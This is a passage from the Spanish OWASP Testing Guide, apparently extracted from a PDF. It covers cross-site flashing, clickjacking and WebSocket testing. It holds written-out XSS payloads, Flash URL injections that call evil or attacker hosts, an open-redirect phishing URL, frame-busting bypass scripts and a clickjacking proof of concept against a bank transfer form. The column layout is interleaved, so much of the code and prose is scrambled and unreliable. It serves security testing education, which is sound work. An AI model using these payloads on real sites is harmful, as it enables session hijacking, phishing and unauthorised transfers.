User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Referer: http://example.foo/main.php

Gecko/20100101 Firefox/24.0
Origin: http://example.foo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://example.foo/main.php
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)

HTTP/1.1 200 OK
X-Powered-By: PHP/5.4.4-14+deb7u3
Date: Mon, 07 Oct 2013 18:20:48 GMT
Access-Control-Allow-Origin: *
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Content-Length: 92
Content-Length: 25
Injected Content from attacker.bar <img src=”#” onerror=”alert(‘Domain:
Content-Type: text/html ‘+document.domain)”>
[Response Body]

306
particular, dado que las aplicaciones Flash a menudo se incrustan en los

navegadores, las vulnerabilidades como las basadas en DOM para Cross-
Site Scripting (XSS) podrían estar presentes en las aplicaciones Flash
defectuosas.
Cómo probar
Desde la primera publicación de "Probando las aplicaciones Flash" [1], las

nuevas versiones de Flash Player se publicaron con el fin de mitigar
algunos de los ataques que se describirán. Sin embargo, algunas
cuestiones todavía son aprovechables, ya que son el resultado de
prácticas inseguras de programación.
Herramientas
• OWASP Zed Attack Proxy (ZAP): owasp.org Descompilación
Dado que los archivos SWF son interpretados por una máquina virtual
integrada en el propio reproductor, estos pueden ser potencialmente
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar descompilados y analizados. El descompilador más conocido y gratuito de
para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser ActionScript 2.0 es flare.
utilizada por personas con amplia experiencia en seguridad y, como tal, es
ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso
de pruebas de penetración. ZAP ofrece escáneres automatizados, así como
un conjunto de herramientas que le permiten encontrar vulnerabilidades Para descompilar un archivo SWF con flare solo escriba:
de seguridad de forma manual.
$ flare hello.swf
Referencias
lo que dará lugar a un nuevo archivo llamado hello.flr.
Recursos OWASP
• OWASP HTML5 Security Cheat Sheet: owasp.org

La descompilación ayuda a los evaluadores, ya que permite realizar
Libros Blancos pruebas de las aplicaciones Flash asistidas por el código fuente o de Caja
Blanca. La herramienta gratuita SWFScan de HP puede descompilar tanto
• W3C - CORS W3C Specification: w3.org ActionScript 2.0 como ActionScript 3.0.
Prueba de Cross-site flashing (OTG-CLIENT-008) El Proyecto de Seguridad Flash de OWASP mantiene una lista actualizada de
desensambladores, descompiladores y otras herramientas de prueba
Resumen relacionadas con Adobe Flash.
ActionScript es el lenguaje basado en ECMAScript, usado por las

aplicaciones Flash cuando maneja necesidades interactivas. Hay tres
versiones del lenguaje ActionScript. ActionScript 1.0 y ActionScript 2.0 Las variables indefinidas FlashVars
son muy similares con ActionScript 2.0 que es una extensión de
ActionScript 1.0. ActionScript 3.0, introducido con Flash Player 9, es una FlashVars son las variables que el desarrollador SWF planificó recibir
reescritura del lenguaje para apoyar el diseño orientado por objetos. desde la página web. Las FlashVars normalmente se pasan desde el objeto
o la etiqueta incorporada dentro de HTML. Por ejemplo:
<object width=”550” height=”400” classid=”clsid:D27CDB6E-AE6D-11cf-

ActionScript, como cualquier otro lenguaje, tiene algunos patrones de 96B8-444553540000”
implementación que podrían llevar a problemas de seguridad. En
307
codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swfla #initclip
sh.cab#version=9,0,124,0”>
if (!_global.Locale) {
<param name=”movie” value=”somefilename.swf”>
var v1 = function (on_load) {
<param name=”FlashVars” value=”var1=val1&var2=val2”>
var v5 = new XML();
<embed src=”somefilename.swf” width=”550” height=”400”
FlashVars=”var1=val1&var2=val2”> var v6 = this;
</embed> v5.onLoad = function (success) {
</object> if (success) {
Las FlashVars también se pueden inicializar desde la URL: trace(‘Locale loaded xml’);
http://www.example.org/somefilename.swf?var1=val1&var2=val2 var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
En ActionScript 3.0, un desarrollador debe asignar explícitamente los while (v2 < v3.length) {
valores FlashVar a las variables locales. Por lo general, esto se ve como:
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
++v2;
var var1:String = String(paramObj[“var1”]);
}
var var2:String = String(paramObj[“var2”]);
on_load();
} else {}
En ActionScript 2.0, cualquier variable global no inicializada se asume
como una variable de Flash. Las variables globales son aquellas variables };
que se anteponen con _root, _global o _level0. Esto significa que si un
atributo como: if (_root.language != undefined) {
_root.varname Locale.DEFAULT_LANG = _root.language;
es indefinido a lo largo del flujo del código, se podría sobrescribir

configurando
v5.load(Locale.DEFAULT_LANG + ‘/player_’ +
http://victim/file.swf?varname=value
Locale.DEFAULT_LANG + ‘.xml’);
};
Independientemente de si usted está viendo ActionScript 2.0 o
ActionScript 3.0, las variables de Flash pueden ser un vector de ataque.
Veamos una parte del código ActionScript 2.0 que es vulnerable:
El código anterior podría ser atacado mediante la solicitud:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Ejemplo:
movieClip 328 __Packages.Locale {

Métodos inseguros

308
Cuando se identifica un punto de entrada, los datos que representa

podrían ser utilizados por métodos inseguros. Si los datos no se
filtran/validan usando la expresión regexp correcta, estos podrían XSS
conducir a algún problema de seguridad.
GetURL (AS2) / NavigateToURL (AS3):
La función GetURL de ActionScript 2.0 y NavigateToURL en ActionScript

Los métodos inseguros desde la versión r47 son: 3.0 permite que la película cargue un URI en la ventana del navegador.
loadVariables()
loadMovie() Así que si una variable indefinida se utiliza como el primer argumento
para getURL:
getURL()
getURL(_root.URI,’_targetFrame’);
loadMovie()
loadMovieNum()
o si un FlashVar se utiliza como el parámetro que se envía a una función
FScrollPane.loadScrollContent() navigateToURL:
LoadVars.load var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
LoadVars.send navigateToURL(request);
XML.load ( ‘url’ )
LoadVars.load ( ‘url’ ) Entonces esto significará que es posible llamar a JavaScript en el mismo
dominio en el que la película está alojada, solicitando:
Sound.loadSound( ‘url’ , isStreaming );
http://victim/file.swf?URI=javascript:evilcode
NetStream.play( ‘url’ );
getURL(‘javascript:evilcode’,’_self’);
flash.external.ExternalInterface.call(_root.callback)
Lo mismo pasa cuando solamente se controla una parte de getURL:

htmlText
Dom Injection with Flash JavaScript injection
La prueba
getUrl(‘javascript:function(‘+_root.arg+’))
Con el fin de aprovechar una vulnerabilidad, el archivo SWF debe estar
alojado en el host de la víctima, y se deben utilizar las técnicas de XSS
reflejado. Eso obliga al navegador a cargar un archivo SWF puro
asfunction:
directamente en la barra de direcciones (mediante una redirección o
ingeniería social) o cargándolo a través de un iframe desde una página
Se puede utilizar el protocolo especial asfunction para que el enlace
maligna;
ejecute una función ActionScript en un archivo SWF en lugar de abrir una
<iframe src=’http://victim/path/to/file.swf’></iframe> URL. Hasta el lanzamiento de Flash Player 9 r48, asfunction podía ser
utilizada en cada método que tiene una URL como argumento. Después de
ese lanzamiento, asfunction se limita al uso dentro de un campo de texto
HTML.
Esto se debe a que en esta situación el navegador autogenera una página
HTML como si fuera invitada por el host de la víctima.
309
Esto significa que un evaluador podría intentar inyectar: Así que, si alguna parte del texto puede ser controlada por el evaluador,
una etiqueta A o una etiqueta IMG podría inyectarse, lo que resultaría en
asfunction:getURL,javascript:evilcode la modificación de la GUI o del uso de XSS en el navegador.
en cada método inseguro como: Algunos ejemplos de ataque con una etiqueta A:
loadMovie(_root.URL) • Direct XSS: <a href=’javascript:alert(123)’ >
solicitando: • Call a function: <a href=’asfunction:function,arg’ >
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
• Call SWF public functions:
ExternalInterface: <a href=’asfunction:_root.obj.function, arg’>
ExternalInterface.call es un método estático introducido por Adobe para

mejorar la interacción jugador/navegador con ActionScript 2.0 y
ActionScript 3.0. • Call native static as function:
Desde el punto de vista de seguridad, podría ser objeto de abuso si parte La etiqueta IMG podría ser utilizada también:
de su argumento puede ser controlado:
<img src=’http://evil/evil.swf’ >
flash.external.ExternalInterface.call(_root.callback);
<img src=’javascript:evilcode//.swf’ > (.swf is necessary to bypass flash
player internal filter)
El patrón de ataque para este tipo de defecto podría ser algo como lo
siguiente:
Nota: desde el lanzamiento de Flash Player 9.0.124.0 del Flash player XSS
eval(evilcode) ya no es explotable, pero la modificación GUI todavía se puede lograr.
ya que el JavaScript interno ejecutado por el navegador será algo como: Cross-Site Flashing
eval(‘try { __flash__toXML(‘+__root.callback+’) ; } catch (e) { El cross-site flashing (XSF) es una vulnerabilidad que tiene un efecto
“<undefined/>”; }’) similar a XSS.
Inyección HTML
Los objetos de campo de texto pueden hacer un HTML mínimo El XSF se produce desde diferentes dominios:
estableciendo:
• Una película carga otra película con la función loadMovie * o con otros
tf.html = true hacks y tiene acceso a la misma zona protegida o a parte de ella.
tf.htmlText = ‘<tag>text</tag>’
• El XSF también podría ocurrir cuando una página HTML utiliza

JavaScript para mandar una película de Adobe Flash, por ejemplo,
comunicándose con:

310
que el usuario tiene en trusted.example.org para engañar al usuario a que

entre en su página web maliciosa. A partir de ahí, se podría poner en
• GetVariable: accede a los objetos públicos y estáticos de flash mediante marcha un 0-día, se llevaría a cabo la suplantación de la página web
una cadena JavaScript. original, o cualquier otro tipo de ataque. SWF puede, sin querer, estar
actuando como un redireccionador abierto en el sitio web.
• SetVariable: fija un objeto estático o público de flash en un nuevo valor

de cadena de JavaScript. Los desarrolladores deberían evitar tomar URL completas como variables
de Flash. Si sólo se va a navegar dentro de su propio sitio web, entonces
se deberían utilizar URL relativas o comprobar que la URL comienza con
un dominio de confianza y protocolo.
• Una comunicación inesperada desde el navegador hacia el SWF podría
dar lugar al robo de datos de la aplicación SWF.
Los ataques y la versión de Flash Player
Esto podría llevarse a cabo forzando a un SWF defectuoso a cargar un Desde mayo de 2007, tres nuevas versiones de Flash Player fueron
archivo flash malicioso externo. Este ataque podría resultar en XSS o en la lanzadas al mercado por Adobe. Cada nueva versión restringe algunos de
modificación de la interfaz gráfica del usuario, con el fin de engañarlo los ataques descritos anteriormente.
para que inserte sus credenciales en un formulario flash falso. El XSF
podría ser utilizado en presencia de una inyección de Flash HTML o de
archivos SWF externos cuando se utilicen métodos loadMovie *.
Redirectores abiertos
Los SWF tienen la capacidad de navegar con el explorador. Si el SWF toma

el destino como un FlashVar, entonces el SWF puede ser utilizado como
un redirector abierto. Un redirector abierto es cualquier pieza de Resultado esperado:
funcionalidad en un sitio web de confianza, que un atacante puede utilizar
para redirigir al usuario a un sitio web malicioso. Estos se utilizan con Cross-Site Scripting y Cross-Site Flashing son los resultados esperados en
frecuencia dentro de los ataques de phishing. Al igual que en cross-site un archivo SWF defectuoso.
scripting, el ataque implica que un usuario final haga clic en un enlace
malicioso.
Herramientas
En el caso de Flash, la URL maliciosa podría verse como: • Adobe SWF Investigator: labs.adobe.com
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-
spoofing-website.org/phishEndUsers.html
• SWFScan: downloadcrew.com
En el ejemplo anterior, un usuario final puede ver que la URL comienza en

• SWFIntruder: owasp.org
su sitio web favorito, de confianza, y hace clic en él. El enlace carga el
archivo SWF de confianza que tiene el getURLValue y le proporciona una
llamada de navegación del navegador ActionScript:
• Decompiler - Flare: nowrap.de
getURL(_root.getURLValue,”_self”);
• Compiler - MTASC: mtasc.org

Este navegaría con el explorador a la URL maliciosa, proporcionada por el
atacante. En este punto, el phisher ha aprovechado con éxito la confianza

311
• Disassembler - Flasm: flasm.sourceforge.net "Clickjacking" (que es un subconjunto de “UI redressing”) es una técnica
maliciosa que consiste en engañar a un usuario web para que interactúe
(en la mayoría de los casos haciendo clic) con algo diferente a lo que el
usuario cree que está interactuando.
• Swfmill - Convert Swf to XML and vice versa: swfmill.org
Este tipo de ataque, que puede ser utilizado solo o en combinación con
• Debugger Version of Flash Plugin/Player: adobe.com otros ataques, podría potencialmente enviar comandos no autorizados o
revelar información confidencial mientras la víctima está interactuando
con páginas web aparentemente inofensivas. El término "clickjacking" fue
acuñado por Jeremiah Grossman y Robert Hansen en 2008.
Referencias
OWASP
Un ataque de clickjacking utiliza características aparentemente inocuas
• Proyecto de Seguirdad Flash OWASP: El Proyecto de Seguirdad OWASP
de HTML y Javascript para obligar a la víctima a realizar acciones no
Flash tiene incluso más referencias que las que se enumeran a
deseadas tales como hacer clic en un botón que parece realizar otra
continuación:
operación. Se trata de un problema de seguridad "del lado del cliente",
que afecta a una gran variedad de navegadores y plataformas
owasp.org
Para llevar a cabo este tipo de técnica, el atacante tiene que crear una
Libros Blancos
página web aparentemente inofensiva que cargue la aplicación al objetivo
de destino, mediante el uso de un iframe (convenientemente oculto
• Testing Flash Applications: A new attack vector for XSS
mediante el uso de código CSS).
and XSFlashing: owasp.org
Una vez que esto se ha hecho, el atacante podría inducir a la víctima a

• Finding Vulnerabilities in Flash Applications: owasp.org interactuar con su página web ficticia por otros medios (como por
ejemplo ingeniería social). Al igual que otros ataques, un requisito
habitual es que la víctima sea autenticada contra el sitio web de destino
del atacante.
• Adobe security updates with Flash Player 9,0,124,0 to reduce
cross-site attacks: adobe.com
• Securing SWF Applications: adobe.com
• The Flash Player Development Center Security Section:
adobe.com
• The Flash Player 10.0 Security Whitepaper: adobe.com
Prueba de Clickjacking (OTG-CLIENT-009)
Resumen
312
Una vez que la víctima navega en la página web ficticia, piensa que está <html>
interactuando con la interfaz de usuario visible, pero efectivamente está
llevando a cabo acciones en la página oculta. <head>
<title>Clickjack test page</title>
Debido a que la página oculta es una página auténtica, el atacante puede </head>
engañar a los usuarios para realizar acciones que nunca tuvieron la
intención de hacer a través de un posicionamiento "ad hoc" de los <body>
elementos de la página web.
<p>Website is vulnerable to clickjacking!</p>
<iframe src=”http://www.target.site” width=”500”

height=”500”></iframe>
</body>
</html>
Resultado esperado: Si se puede ver el texto "Sitio web vulnerable a

clickjacking" (Website is vulnerable to clickjacking!) en la parte superior
de la página y su página web de destino logra cargarla correctamente en
El poder de este método se debe al hecho de que las acciones realizadas el marco, entonces su sitio es vulnerable y no tiene ningún tipo de
por la víctima se originaron desde la página web auténtica (oculta pero protección contra los ataques de clickjacking. Ahora usted puede crear
auténtica). En consecuencia, algunas de las protecciones contra CSRF directamente una "prueba de concepto" para demostrar que un atacante
realizadas por los desarrolladores para proteger a la página web de los podría aprovechar esta vulnerabilidad.
ataques CSRF podrían ser evadidas.
Pasar por alto la protección para Clickjacking:

Cómo probar
En el caso que sólo se vea el sitio de destino o el texto "Sitio Web
Como se mencionó anteriormente, este tipo de ataque es, a menudo, vulnerable a clickjacking!", pero no aparece nada en el iframe, esto quiere
diseñado para permitir que el sitio del atacante pueda inducir al usuario decir que el objetivo probablemente tiene algún tipo de protección contra
hacia el sitio de destino, incluso si se utilizan fichas contra-CSRF. Así que el clickjacking. Es importante tener en cuenta que esto no es una garantía
es importante, al igual que para el ataque CSRF, identificar las páginas de que la página sea totalmente inmune a clickjacking.
web del sitio de destino que reciben datos ingresados por el usuario.
Los métodos para proteger una página web del clickjacking se pueden
Tenemos que descubrir si el sitio web que estamos probando no tiene dividir en dos grandes categorías:
ninguna protección contra ataques de clickjacking o, si los
desarrolladores han puesto en práctica algunas formas de protección, si
estas técnicas son susceptibles de ser evadidas. Una vez que sabemos que
• Protección del lado del cliente: Frame Busting
el sitio web es vulnerable, podemos crear una "prueba de concepto" para
explotar la vulnerabilidad.
• Protección del lado del servidor: X-Frame-Options
El primer paso para descubrir si un sitio web es vulnerable es comprobar

En algunas circunstancias, cada uno de los tipos de defensa podrían ser
si la página web de destino podría ser cargada en un iframe. Para ello es
evitados. A continuación se presentan los principales métodos de
necesario crear una página web sencilla, que incluya un marco que
protección contra estos ataques y las técnicas para evitarlos.
contenga la página web de destino. El código HTML para crear esta
página web de pruebas se muestra en el siguiente fragmento:

313
Protección del lado del clente: Frame Busting convierte en una violación de la seguridad en todos los navegadores
populares debido a la política de navegación de marco descendiente.
El método más común del lado del cliente, que ha sido desarrollado para política. Esta violación de seguridad impide la navegación contra-acción.
proteger a una página web del clickjacking, se llama Frame Busting y se
compone de un script o secuencia de comandos en cada página, que no El código del sitio de destino del frame busting (sitio de destino):
deben ser enmarcados. El objetivo de esta técnica es evitar que un sitio
funcione cuando se carga dentro de un marco. if(top.location!=self.locaton) {
parent.location = self.location;
La estructura del código frame busting consiste típicamente en una "frase }

condicional" y un comando de "acción defensiva". Para este tipo de
protección, hay algunos métodos alternativos que están bajo el nombre Marco superior del atacante (fictitious2.html):
de "reventar el frame busting." Algunas de estas técnicas son específicas
de un navegador, mientras que otras funcionan en todos los navegadores. <iframe src=”fictitious.html”>
Submarco ficticio del atacante (fictitious.html):
Versión móvil del sitio web <iframe src=”http://target site”>
Las versiones móviles de la página web son generalmente más pequeñas

y más rápidas que las del escritorio y tienen que ser menos complejas
que la aplicación principal. Las variantes móviles tienen, a menudo, Desactivación de Javascript
menos protección, ya que existe la suposición errónea de que un atacante
no puede atacar a una solicitud presentada por el teléfono inteligente. Dado que este tipo de protecciones del lado del cliente se basan en el
Este es un error fundamental, ya que un atacante puede falsificar el código frame busting de JavaScript, si la víctima tiene desactivado
origen real dado por un navegador web, de tal manera que una víctima no JavaScript o si es posible que un atacante pueda desactivar el código
móvil puede ser capaz de visitar una aplicación hecha para los usuarios JavaScript, la página web no tendrá ningún mecanismo de protección
móviles. De este supuesto se deduce que, en algunos casos, no es contra el clickjacking.
necesario utilizar técnicas de evadir el frame busting cuando hay
alternativas sin protección que permiten el uso de los mismos vectores de
ataque.
Hay tres técnicas de desactivación que se pueden utilizar con los marcos:
• Marcos restringidos con Internet Explorer: A partir de

Enmarcado doble
Internet Explorer 6, un marco puede tener el atributo "seguridad" que, si
Algunas técnicas de frame busting tratan de romper el marco mediante la se establece en el valor "restringido", asegura el código JavaScript, los
asignación de un valor al atributo "parent.location" en el comando controles ActiveX y redirige a otros sitios que no funcionan en el marco.
"contra-acción".
Ejemplo:
<iframe src=”http://target site” security=”restricted”></iframe>

Esas acciones son, por ejemplo:
• self.parent.location = document.location
• Atributo Sandbox: con HTML5 hay un nuevo atributo llamado
• parent.location.href = self.location
"sandbox". Éste permite un conjunto de restricciones en el contenido
• parent.location = self.location cargado en el iframe. Por el momento, este atributo sólo es compatible
con Chrome y Safari.
Este método funciona bien hasta que la página de destino se encuentra

enmarcada en una sola página. Sin embargo, si el atacante encierra la
página web de destino en un bastidor que está anidado en otro (un marco
doble), a continuación tratará de acceder a "parent.location", lo que se Ejemplo:

314
<iframe src=”http://target site” sandbox></iframe>
A continuación un código de ejemplo:
Modo Diseño: Paul Stone mostró un problema de seguridad en relación página 204:
con el "designMode" que puede ser activado en la página de referencia (a
través de document.designMode), desactivando JavaScript en la parte <?php
superior y el sub-marco. Actualmente, el modo de diseño se implementa
en Firefox e Internet Explorer 8. header(“HTTP/1.1 204 No Content”);
?>
El evento onBeforeUnload
El evento onbeforeunload podría ser utilizado para evadir el código de Página del atacante:
frame busting. Este evento sucede cuando el código de frame busting
quiere destruir el iframe cargando la URL en toda la página web y no sólo <script>
en el iframe. La función de controlador devuelve una cadena que se dirige
al usuario para confirmar si quiere salir de la página. Cuando se muestra var prevent_bust = 0;
esta cadena al usuario es probablemente para cancelar la navegación,
derrotando el intento del frame busting en el objetivo. window.onbeforeunload = function() {
prevent_bust++;
El atacante puede utilizar este ataque al registrar un evento de descarga };

en la primera página al usar el siguiente ejemplo de código:
setInterval(
<h1>www.fictitious.site</h1>
function() {
<script>
if (prevent_bust > 0) {
window.onbeforeunload = function()
prevent_bust -= 2;
{
window.top.location =
return “ Do you want to leave fictitious.site?”; “http://attacker.site/204.php”;
} }
</script> }, 1);
<iframe src=”http://target site”> </script>
La técnica anterior requiere la interacción del usuario, pero el mismo <iframe src=”http://target site”>
resultado se puede lograr sin preguntar al usuario. Para ello, el atacante
tiene que cancelar automáticamente la solicitud de navegación de entrada
en un controlador de eventos onbeforeunload, presentando en varias
Filtro XSS
ocasiones (por ejemplo, cada milisegundo) una solicitud de navegación a
una página web que responde a un encabezado "HTTP / 1.1 204 No
A partir de Google Chrome 4.0 y de IE8, se introdujeron filtros XSS para
Content".
proteger a los usuarios contra ataques reflejados XSS. Nava y Lindsay han
observado que este tipo de filtros se puede utilizar para desactivar el
código de frame busting falso como código malicioso.
Ya que con esta respuesta el navegador no va a hacer nada, el resultado
de esta operación es la descarga de la tubería solicitada, inutilizando el
intento del frame busting.
• Filtro de IE8 XSS: este filtro tiene visibilidad en todas las solicitudes y
los parámetros de respuestas fluyen a través del navegador web y se los

315
compara con un conjunto de expresiones regulares con el fin de buscar site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7

los intentos reflejado de XSS. Cuando el filtro identifica un posible ataque D”>
XSS, se desactivan todas las secuencias de comandos dentro de la página,
incluyendo los scripts de frame busting (lo mismo podría hacerse con
guiones externos). Por esta razón, un atacante podría inducir un falso
positivo insertando el comienzo de la secuencia de comandos de frame Redefinición de localización
busting en un los parámetros de solicitud.
Para varios navegadores, la variable "document.location" es un atributo
inmutable. Sin embargo, para algunas versiones de Internet Explorer y
Safari es posible redefinir este atributo. Este hecho puede ser explotado
Ejemplo: código de frame busting en la página web destinada: para evadir el código de frame busting.
if ( top != self )
{ • Redefinición de localización en IE7 e IE8: es posible redefinir

"localización", como se ilustra en el siguiente ejemplo. Mediante la
top.location=self.location; definición de "localización" como una variable, cualquier código que
intente leer o navegar por la asignación de "top.location" producirá un
} error debido a una violación de seguridad y así se suspenderá el código
de frame busting.
</script>
Ejemplo:
Código de ataque:
<script>
<iframe src=”http://target site/?param=<script>if”>
var location = “xyz”;
</script>
• Chrome 4.0 XSSAuditor filter: Chrome tiene un comportamiento un poco
diferente en comparación con el filtro de IE8 XSS. De hecho, con este filtro un <iframe src=”http://target site”></iframe>
atacante podría desactivar un "guión" que pasa por su código en un parámetro de
la solicitud. Esto permite que la página de encuadre se dirija específicamente a un • Redefinición de localización en Safari 4.0.4: Para romper el código de
único fragmento que contiene el código de frame busting, dejando intactos todos frame busting con "top.location", es posible enlazar "localización" a una
los demás códigos. función a través de defineSetter (a través de la ventana), de manera que
un intento de leer o navegar a la "top.location" producirá un error.
Ejemplo: código de frame busting en la página web destinada:

Ejemplo:
<script>
<script>
if ( top != self )
window.defineSetter(“location” , function(){});
{
</script>
top.location=self.location;
<iframe src=”http://target site”></iframe>
}
</script>
Protección del lado del servidor: X-Frame-Options
Un enfoque alternativo del lado del cliente para el código de frame

Código de ataque: busting fue implementado por Microsoft, y consiste en un encabezado
basado en una defensa. Este nuevo encabezado "X-Frame-Options" se
<iframe src=”http://target envía desde el servidor en las respuestas HTTP y se utiliza para marcar
316
las páginas web que no deben ser enmarcadas. Este encabezado puede destino permite autenticar y autorizar a los usuarios a realizar una
tomar los valores DENY (Negar), SAMEORIGIN (Mismo origen), ALLOW- transferencia de dinero a otra cuenta.
FROM origin (permitir desde el origen), o non-standard ALLOWALL (no
estándar permitir todo). El valor recomendado es DENY.
Supongamos que para ejecutar la transferencia, los desarrolladores han

previsto tres pasos. En el primer paso, el usuario llena un formulario con
El encabezado "X-Frame-Options" es una solución muy buena y fue la cuenta de destino y la cantidad. En el segundo paso, cada vez que el
adoptada por los principales navegadores, pero hay algunas limitaciones usuario envía el formulario, se presenta una página de resumen pidiendo
que podrían conducir a la explotación de la vulnerabilidad de clickjacking. confirmación (como la que se presenta en la siguiente imagen).
Compatibilidad del navegador
Ya que el encabezado "X-Frame-Options" se introdujo en 2009, éste no es

compatible con un navegador antiguo. Cada usuario que no tenga un
navegador actualizado podría ser víctima de un ataque de clickjacking.
Un fragmento del código como ejemplo para el paso 2:
//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));/
/set the token as in the session data
$_SESSION[‘antiCsrf’] = $csrfToken;
//Transfer form with the hidden field
$form = ‘
Proxies
<form name=”transferForm” action=”confirm.php” method=”POST”>
Los web proxies son conocidos por añadir y quitar encabezados. En el
caso en el que un web proxy despoje al encabezado "X-Frame-Options", el <div class=”box”>
sitio pierde su protección de enmarcar.
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Versión móvil del sitio web
Do You want to confirm a transfer of <b>’.
También en este caso, ya que el encabezado"X-Frame-Options" tiene que $_RE UEST[‘amount’] .’ €</b> to account: <b>’. $_RE UEST[‘account’]
ser implementado en todas las páginas del sitio web, los desarrolladores .’</b> ?
pueden no haber protegido a la versión móvil de la página web.
</p>
<label>
Crear una "prueba de concepto"
<input type=”hidden” name=”amount”
Una vez que hemos descubierto que el sitio que estamos probando es value=”’ . $_RE UEST[‘amount’] . ‘” />
vulnerable a los ataques de clickjacking, podemos proceder con el
desarrollo de una "prueba de concepto" para demostrar la vulnerabilidad. <input type=”hidden” name=”account”
Es importante señalar que, como se mencionó anteriormente, estos value=”’ . $_RE UEST[‘account’] . ‘” />
ataques se pueden utilizar en combinación con otras formas de ataques
(por ejemplo ataques CSRF) y podrían conducir a vencer los tokens anti- <input type=”hidden” name=”antiCsrf”
CSRF. En este sentido, podemos imaginar que, por ejemplo, el sitio de value=”’ . $csrfToken . ‘” />
317
<input type=”submit” class=”button” evadir la protección anti-CSRF y obligar a la víctima a hacer una
value=”Transfer Money” /> transferencia de dinero sin su consentimiento.
</label>
La página de destino para el ataque es el segundo paso del procedimiento

de transferencia de dinero. Dado que los desarrolladores ponen los
</div> controles de seguridad sólo en el último paso, pensando que esto es lo
suficientemente seguro, el atacante podría pasar la cuenta y los
</form>’; parámetros de cantidad mediante el método GET. (Nota: Hay un intento
de clickjacking avanzado que permite a un atacante obligar al usuario a
llenar un formulario, haciendo el clickjacking factible incluso para los
sitios en los que se requiere llenar formularios.
En el último paso, están los controles de seguridad planificados y, entonces, si todo
está bien, se hace la transferencia. El siguiente es un fragmento del código del
último paso (Nota: en este ejemplo, para simplificar, no hay ninguna limpieza de
entrada, pero no es relevante bloquear este tipo de ataque): La página del atacante puede verse como una simple e inofensiva página
web como la que se presenta a continuación:
if( (!empty($_SESSION[‘antiCsrf’])) && (!empty($_POST[‘antiCsrf’])) )
//here we can suppose input sanitization code…
Pero, al jugar con el valor de opacidad CSS, podemos ver lo que se

esconde debajo de una página web aparentemente inocua.
//check the anti-CSRF token
if( ($_SESSION[‘antiCsrf’] == $_POST[‘antiCsrf’]) )
echo ‘<p> ‘. $_POST[‘amount’] .’ € successfully

transfered to account: ‘. $_POST[‘account’] .’ </p>’;
else El código de clickjacking que crea esta página se presenta a continuación:
{ <html>
echo ‘<p>Transfer KO</p>’; <head>
} <title>Trusted web page</title>
Como se puede ver, el código está protegido de ataques CSRF de dos <style type=”text/css”><!--
maneras: una con un token aleatorio generado en el segundo paso y la
otra, aceptando solamente el método de variable pasada vía POST. En esta *{
situación, un atacante podría forjar un ataque CSRF + Clickjacking para
margin:0;

318
padding:0; Recursos OWASP
} • Clickjacking
body {
background:#ffffff; Libros Blancos
} • Marcus Niemietz: “UI Redressing: Attacks and Countermeasures
.button Revisited”: ui-redressing.mniemietz.de
padding:5px; • “Clickjacking”: en.wikipedia.org
background:#6699CC;
left:275px; • Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson:
“Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular

width:120px;
Sites”: seclab.stanford.edu
border: 1px solid
• Paul Stone: “Next generation clickjacking”: media.blackhat.com

Con la ayuda de CSS (note el #clickjacking bloqueo) podemos enmascarar
y posicionar el iframe adecuadamente, de tal manera que coincida con los
botones. Si la víctima hace clic en el botón "Haga clic y listo!", el
Prueba de los WebSockets (OTG-CLIENT-010)
formulario se envía y se completa la transferencia.
Resumen
Tradicionalmente, el protocolo HTTP sólo permitía una

solicitud/respuesta por conexión TCP. Asynchronous JavaScript y XML
(AJAX) permiten a los clientes enviar y recibir datos de forma asíncrona
(en segundo plano sin una actualización de la página) al servidor, sin
embargo, AJAX requiere que el cliente inicie las peticiones y espere las
respuestas del servidor (half-duplex).
WebSockets HTML5 permiten al cliente / servidor crear canales de

comunicación "full-duplex" (bidireccional), permitiendo que el cliente y el
servidor puedan comunicarse verdaderamente en forma asíncrona. Los
El ejemplo que se presenta sólo utiliza la técnica básica de clickjacking, WebSockets conducen su 'actualización' handshake inicial a través de
pero, con una técnica avanzada, es posible obligar al usuario a llenar un HTTP y, de ahí, toda la comunicación se lleva a cabo a través de canales
formulario con valores definidos por el atacante. TCP mediante el uso de marcos.
Herramientas
• Contexto Seguridad de la Información: "Herramienta de clickjacking": Origen

contextis.com
Es responsabilidad del servidor verificar el encabezado de Origen en el
handshake inicial WebSocket HTTP. Si el servidor no valida el encabezado
de origen en el handshake inicial WebSocket, el servidor WebSocket
Referencias puede aceptar conexiones de cualquier origen. Esto podría permitir a los
atacantes comunicarse con el servidor de WebSocket cross-domain

319
permitiendo situaciones del tipo Top 10 2013-A8-Cross-Site Request • Use herramientas para desarrolladores de Google Chrome para acceder a la
Forgery (CSRF) Red WebSocket de comunicación.
Confidencialidad e integridad • Use OWASP Zed Ataque Proxy (ZAP) 's WebSocket tab.
Los WebSockets se pueden utilizar en un TCP no cifrado o en un TLS

cifrado. Para usar WebSockets sin cifrar se utiliza la ws:// esquema URI
(puerto predeterminado 80), para websockets cifrados (TLS) se utiliza la
wss:// esquema de URI (puerto por defecto 443). Preste atención a los
problemas de Top 10 2013-A6-Sensitive Data Exposure . 2. Origen.
• Usando un cliente WebSocket (se puede encontrar uno en la sección de

Herramientas que está a continuación) intente conectarse al servidor WebSocket
Autenticación remoto. Si se establece una conexión, el servidor puede no estar comprobando el
encabezado de origen del WebSocket handshake.
Los WebSockets no manejan la autenticación. En lugar de ello, se aplican
los mecanismos normales de autenticación de aplicaciones tales como
cookies, autenticación HTTP o autenticación TLS. Preste atención a los
3. Confidencialidad e integridad.
